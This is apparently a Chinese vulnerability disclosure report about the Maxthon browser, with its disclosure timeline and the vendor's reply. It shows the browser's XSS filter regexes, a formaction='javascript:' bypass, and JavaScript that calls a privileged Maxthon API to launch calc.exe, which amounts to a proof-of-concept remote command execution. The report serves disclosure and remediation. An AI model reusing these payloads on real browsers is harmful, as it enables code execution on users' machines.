2015-11-23: 细节已通知厂商并且等待厂商处理中 2015-11-23: 厂商已经确认,细节仅向厂商公开 2015-11-26: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航) 2016-01-17: 细节向核心白帽子及相关领域专家公开 2016-01-27: 细节向普通白帽子公开 2016-02-06: 细节向实习白帽子公开 2015-12-17: 细节向公众公开
看了看傲游的过滤规则,虽然很复杂,但是百密一疏,还是有绕过的可能执行远程命令。
升级傲游浏览器到最新版:
根据前面提交过的那么多漏洞,傲游浏览器已经加了一大串的正则:
function r(z, y) { z = z.replace(/\<script(.*?)\>/ig, '<span style="display:none">'); z = z.replace(/\<script(.*?)$/igm, '<span style="display:none" '); z = z.replace(/\<\/script\>/ig, "</span>"); z = z.replace(/\<(?:iframe|frameset|applet|style)(.*?)\>/ig, '<span style="display:none">'); z = z.replace(/\<(?:iframe|frameset|applet|style)(.*?)$/igm, '<span style="display:none" '); z = z.replace(/\<\/(?:iframe|frameset|applet|style)\>/ig, "</span>"); z = z.replace(/\<(?:meta|link|base|frame)(.*?)\>/ig, '<br style="display:none">'); z = z.replace(/\<(?:meta|link|base|frame)(.*?)$/igm, '<br style="display:none" '); z = z.replace(/(<form[^>]+)action\s*=/ig, '$1 action="javascript:;" act_ion='); z = z.replace(/(<\S[^>]+on)([a-z]{1,16}?)\s*=/ig, "$1_$2=").replace(/(<a[^>]+)href\s*=(['"]?\s*javascript:)/ig, '$1 href="#" h_ref=$2'); z = z.replace(/(^|\s)allowScriptAccess\=["']always["']/ig, '$1allowScriptAccess="never"'); if (y.baseUrl) { z = z.replace(/<img ([^>]*?)src(\s*=\s*"([^"]+?)")/ig, function(B, A, F, E, D, C) { return '<img src="' + n(E, y) + '" ' + A + "sr_c" + F; }).replace(/<img ([^>]*?)src(\s*=\s*'([^']+?)')/ig, function(B, A, F, E, D, C) { return '<img src="' + n(E, y) + '" ' + A + "sr_c" + F; }); z = z.replace(/<a ([^>]*?)href(\s*=\s*"([^"]+?)")/ig, function(B, A, F, E, D, C) { return '<a href="' + n(E, y) + '" ' + A + "sr_c" + F; }).replace(/<a ([^>]*?)href(\s*=\s*'([^']+?)')/ig, function(B, A, F, E, D, C) { return '<a href="' + n(E, y) + '" ' + A + "sr_c" + F; }); } return z; } function s(y) { y = y.replace(/\>/g, ">").replace(/\</g, "<").replace(/\"/g, """).replace(/\'/g, "'").replace(/\r\n/g, "\n").replace(/\r/g, "").replace(/\n/g, "<br/>"); y = y.replace(/\[size\=.*?\]|\[\/size\]/ig, ""); y = y.replace(/\[font\=([^\]]+)\]|\[\/font\]/ig, ""); y = y.replace(/\[(b|i|u|s)\]([\s\S]*?)\[\/\1\]/igm, "<$1>$2</$1>"); y = y.replace(/\[img=([0-9]+),([0-9]+)\](.*?)\[\/img\]/igm, '<img src="$3" width="$1" height="$2" />'); y = y.replace(/\[img(\=.*?|)\](.*?)\[\/img\]/igm, '<img src="$2" />'); y = y.replace(/\[color\=([#a-z0-9]+)\](.*?)\[\/color\]/igm, '<span style="color:$1">$2</span>'); y = y.replace(/\[url\=\s*(?:javascript:.*?)\](.+?)\[\/url\]/igm, "$1"); y = y.replace(/\[url\=(www\..+?)\](.+?)\[\/url\]/igm, '<a href="http://$1" target="_blank">$2</a>'); y = y.replace(/\[url\=(.+?)\](.+?)\[\/url\]/igm, '<a href="$1" target="_blank">$2</a>'); y = y.replace(/\[url\](\s*javascript:.*?)\[\/url\]/ig, "$1"); y = y.replace(/\[url\](www\..+?)\[\/url\]/ig, '<a href="http://$1" target="_blank">$1</a>'); y = y.replace(/\[url\](.+?)\[\/url\]/ig, '<a href="$1" target="_blank">$1</a>'); y = y.replace(/\[email\](.+?)\[\/email\]/ig, '<a href="mailto:$1" target="_blank">$1</a>'); y = y.replace(/\[email=([a-z0-9@!#$%&'*+\-.\/=?\^_{|}~]+?)\](.+?)\[\/email\]/ig, '<a href="mailto:$1" target="_blank">$2</a>'); y = y.replace(/\[flash\](\S*?)\[\/flash\]/igm, '<embed src="$3" type="application/x-shockwave-flash" allowscriptaccess="never" allowfullscreen="true" />'); y = y.replace(/\[flash\=([0-9]+),([0-9]+)\](\S*?)\[\/flash\]/igm, '<embed src="$3" width="$1" height="$2" type="application/x-shockwave-flash" allowscriptaccess="never" allowfullscreen="true" />'); y = y.replace(/\[\/color\]|\[\/img\]|\[\/size\]|\[\/i\]|\[\/b\]|\[\/url\]|\[\/attach\]/ig, ""); y = y.replace(/\[color\=.*?\]|\[img\=.*?\]|\[size\=.*?\]|\[i\=.*?\]|\[b\]|\[url\=.*?\]|\[attach\]/ig, ""); return y; } function u(y) { return y.replace(/\>/g, ">").replace(/\</g, "<").replace(/\"/g, """).replace(/\'/g, "'").replace(/\r\n/g, "\n").replace(/\n/g, "<br/>").replace(/\s/g, " "); } }
大致已经把常规的标签全部过滤了,on系列的事件,<script>等标签基本没戏。但是经过细心的寻找和查证,发现并没有对如下向量进行过滤,导致可以执行js代码:
<form><button formaction="javascript:alert(1)">click</button></form>
我们在http://wutongyu.info/111.xml执行一下:点击button按钮之后:返回的是一个res域,能调用傲游的特权api
但是调用的时候,发现往期的代码被fix掉了。即:
var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);
onload变成了on_load。但是最终还是通过编码的方式绕过了,具体看测试代码。
访问http://wutongyu.info/111.xml,点击按钮,其实按钮可以下点功夫,比如诱惑点的文字,设置层级等等,这里我只证明问题存在。点击按钮弹出calc.exe:
1,加强过滤规则,其实治标不治本,因为html5的引入,太多可能触发的标签,是否应该在浏览器的架构上做一些考虑,比如xml阅读的时候域不为res。2,在about:reader的时候禁用js。
危害等级:中
漏洞Rank:10
确认时间:2015-11-23 14:56
谢谢反馈. 4.4继续补, 新内核中会用其它办法
暂无